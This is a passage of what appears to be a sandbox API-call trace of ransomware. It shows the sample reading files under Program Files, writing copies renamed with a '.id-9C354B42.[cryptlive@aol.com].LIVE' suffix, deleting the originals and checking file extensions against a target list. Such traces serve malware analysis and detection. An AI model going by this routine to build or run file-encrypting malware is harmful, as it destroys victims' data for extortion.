lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.760] WriteFile (in: hFile=0x218, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.760] SetEndOfFile (hFile=0x218) returned 1 [0052.760] CloseHandle (hObject=0x218) returned 1 [0052.760] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.760] SetEndOfFile (hFile=0x160) returned 1 [0052.764] CloseHandle (hObject=0x160) returned 1 [0052.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.765] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0052.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.765] lstrlenW (lpString=".doc") returned 4 [0052.765] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.765] lstrlenW (lpString=".docx") returned 5 [0052.765] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.765] lstrlenW (lpString=".pdf") returned 4 [0052.765] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.765] lstrlenW (lpString=".xls") returned 4 [0052.765] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.765] lstrlenW (lpString=".xlsx") returned 5 [0052.765] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.765] lstrlenW (lpString=".ppt") returned 4 [0052.765] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.765] lstrlenW (lpString=".zip") returned 4 [0052.765] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.765] lstrlenW (lpString=".rar") returned 4 [0052.765] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.765] lstrlenW (lpString=".bz2") returned 4 [0052.766] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.766] lstrlenW (lpString=".7z") returned 3 [0052.766] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.766] lstrlenW (lpString=".dbf") returned 4 [0052.766] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.766] lstrlenW (lpString=".1cd") returned 4 [0052.766] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.766] lstrlenW (lpString=".jpg") returned 4 [0052.766] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.766] lstrlenW (lpString=".doc") returned 4 [0052.766] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString=".docx") returned 5 [0052.766] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.766] lstrlenW (lpString=".pdf") returned 4 [0052.766] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString=".xls") returned 4 [0052.766] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString=".xlsx") returned 5 [0052.766] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.766] lstrlenW (lpString=".ppt") returned 4 [0052.766] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.766] lstrlenW (lpString=".zip") returned 4 [0052.766] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString=".rar") returned 4 [0052.766] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.766] lstrlenW (lpString=".bz2") returned 4 [0052.766] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.767] lstrlenW (lpString=".7z") returned 3 [0052.767] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.767] lstrlenW (lpString=".dbf") returned 4 [0052.767] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.767] lstrlenW (lpString=".1cd") returned 4 [0052.767] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0052.767] lstrlenW (lpString=".jpg") returned 4 [0052.767] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.767] lstrcmpiW (lpString1=".MSG", lpString2=".LIVE") returned 1 [0052.767] lstrlenW (lpString="FPEXT.MSG") returned 9 [0052.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.768] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=169637) returned 1 [0052.768] CloseHandle (hObject=0x160) returned 1 [0052.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0052.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.768] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.768] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0052.769] GetLastError () returned 0x0 [0052.769] ReadFile (in: hFile=0x160, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0052.775] WriteFile (in: hFile=0x218, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0053.045] ReadFile (in: hFile=0x160, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.045] WriteFile (in: hFile=0x218, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0053.045] SetEndOfFile (hFile=0x218) returned 1 [0053.045] CloseHandle (hObject=0x218) returned 1 [0053.045] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.045] SetEndOfFile (hFile=0x160) returned 1 [0053.047] CloseHandle (hObject=0x160) returned 1 [0053.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0053.047] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0053.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.048] lstrlenW (lpString=".doc") returned 4 [0053.048] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0053.048] lstrlenW (lpString=".docx") returned 5 [0053.048] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0053.048] lstrlenW (lpString=".pdf") returned 4 [0053.048] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0053.048] lstrlenW (lpString=".xls") returned 4 [0053.048] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0053.048] lstrlenW (lpString=".xlsx") returned 5 [0053.048] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0053.048] lstrlenW (lpString=".ppt") returned 4 [0053.048] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0053.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.048] lstrlenW (lpString=".zip") returned 4 [0053.048] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0053.048] lstrlenW (lpString=".rar") returned 4 [0053.048] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0053.048] lstrlenW (lpString=".bz2") returned 4 [0053.048] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0053.048] lstrlenW (lpString=".7z") returned 3 [0053.048] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0053.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.048] lstrlenW (lpString=".dbf") returned 4 [0053.048] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0053.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.048] lstrlenW (lpString=".1cd") returned 4 [0053.048] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0053.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.048] lstrlenW (lpString=".jpg") returned 4 [0053.048] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0053.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.049] lstrlenW (lpString=".doc") returned 4 [0053.049] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0053.049] lstrlenW (lpString=".docx") returned 5 [0053.049] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0053.049] lstrlenW (lpString=".pdf") returned 4 [0053.049] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0053.049] lstrlenW (lpString=".xls") returned 4 [0053.049] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0053.049] lstrlenW (lpString=".xlsx") returned 5 [0053.049] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0053.049] lstrlenW (lpString=".ppt") returned 4 [0053.049] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.049] lstrlenW (lpString=".zip") returned 4 [0053.049] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0053.049] lstrlenW (lpString=".rar") returned 4 [0053.049] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0053.049] lstrlenW (lpString=".bz2") returned 4 [0053.049] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0053.049] lstrlenW (lpString=".7z") returned 3 [0053.049] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.049] lstrlenW (lpString=".dbf") returned 4 [0053.049] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.049] lstrlenW (lpString=".1cd") returned 4 [0053.049] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0053.049] lstrlenW (lpString=".jpg") returned 4 [0053.049] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0053.049] lstrcmpiW (lpString1=".ini", lpString2=".LIVE") returned -1 [0053.049] lstrlenW (lpString="desktop.ini") returned 11 [0053.050] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.050] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=174) returned 1 [0053.050] CloseHandle (hObject=0x160) returned 1 [0053.050] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0053.050] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.050] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0053.050] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.050] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.050] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.051] GetLastError () returned 0x0 [0053.051] ReadFile (in: hFile=0x160, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0xae, lpOverlapped=0x0) returned 1 [0053.051] WriteFile (in: hFile=0x218, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0053.052] ReadFile (in: hFile=0x160, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.052] WriteFile (in: hFile=0x218, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.052] SetEndOfFile (hFile=0x218) returned 1 [0053.052] CloseHandle (hObject=0x218) returned 1 [0053.053] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.053] SetEndOfFile (hFile=0x160) returned 1 [0053.053] CloseHandle (hObject=0x160) returned 1 [0053.053] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x26) returned 1 [0053.054] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0053.054] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.054] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.054] lstrlenW (lpString=".doc") returned 4 [0053.054] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0053.054] lstrlenW (lpString=".docx") returned 5 [0053.054] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0053.054] lstrlenW (lpString=".pdf") returned 4 [0053.054] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0053.054] lstrlenW (lpString=".xls") returned 4 [0053.054] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0053.054] lstrlenW (lpString=".xlsx") returned 5 [0053.054] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0053.054] lstrlenW (lpString=".ppt") returned 4 [0053.054] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0053.054] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.054] lstrlenW (lpString=".zip") returned 4 [0053.054] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0053.054] lstrlenW (lpString=".rar") returned 4 [0053.054] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0053.054] lstrlenW (lpString=".bz2") returned 4 [0053.054] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0053.054] lstrlenW (lpString=".7z") returned 3 [0053.054] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0053.054] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString=".dbf") returned 4 [0053.055] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString=".1cd") returned 4 [0053.055] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString=".jpg") returned 4 [0053.055] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0053.055] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString=".doc") returned 4 [0053.055] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0053.055] lstrlenW (lpString=".docx") returned 5 [0053.055] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0053.055] lstrlenW (lpString=".pdf") returned 4 [0053.055] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0053.055] lstrlenW (lpString=".xls") returned 4 [0053.055] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0053.055] lstrlenW (lpString=".xlsx") returned 5 [0053.055] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0053.055] lstrlenW (lpString=".ppt") returned 4 [0053.055] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0053.055] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString=".zip") returned 4 [0053.055] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0053.055] lstrlenW (lpString=".rar") returned 4 [0053.055] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0053.055] lstrlenW (lpString=".bz2") returned 4 [0053.055] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0053.055] lstrlenW (lpString=".7z") returned 3 [0053.055] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString=".dbf") returned 4 [0053.055] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.055] lstrlenW (lpString=".1cd") returned 4 [0053.055] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0053.056] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0053.056] lstrlenW (lpString=".jpg") returned 4 [0053.056] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0053.056] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.056] lstrlenW (lpString="DissolveAnother.png") returned 19 [0053.056] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.771] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=27935) returned 1 [0053.771] CloseHandle (hObject=0x208) returned 1 [0053.772] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0053.772] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.772] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.772] lstrlenW (lpString=".doc") returned 4 [0053.772] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.772] lstrlenW (lpString=".docx") returned 5 [0053.772] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0053.772] lstrlenW (lpString=".pdf") returned 4 [0053.772] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.772] lstrlenW (lpString=".xls") returned 4 [0053.772] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.772] lstrlenW (lpString=".xlsx") returned 5 [0053.772] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0053.772] lstrlenW (lpString=".ppt") returned 4 [0053.772] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.772] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.772] lstrlenW (lpString=".zip") returned 4 [0053.772] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.772] lstrlenW (lpString=".rar") returned 4 [0053.772] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.772] lstrlenW (lpString=".bz2") returned 4 [0053.772] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.772] lstrlenW (lpString=".7z") returned 3 [0053.772] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.773] lstrlenW (lpString=".dbf") returned 4 [0053.773] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.773] lstrlenW (lpString=".1cd") returned 4 [0053.773] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.773] lstrlenW (lpString=".jpg") returned 4 [0053.773] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.773] lstrlenW (lpString=".doc") returned 4 [0053.773] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.773] lstrlenW (lpString=".docx") returned 5 [0053.773] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0053.773] lstrlenW (lpString=".pdf") returned 4 [0053.773] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.773] lstrlenW (lpString=".xls") returned 4 [0053.773] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.773] lstrlenW (lpString=".xlsx") returned 5 [0053.773] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0053.773] lstrlenW 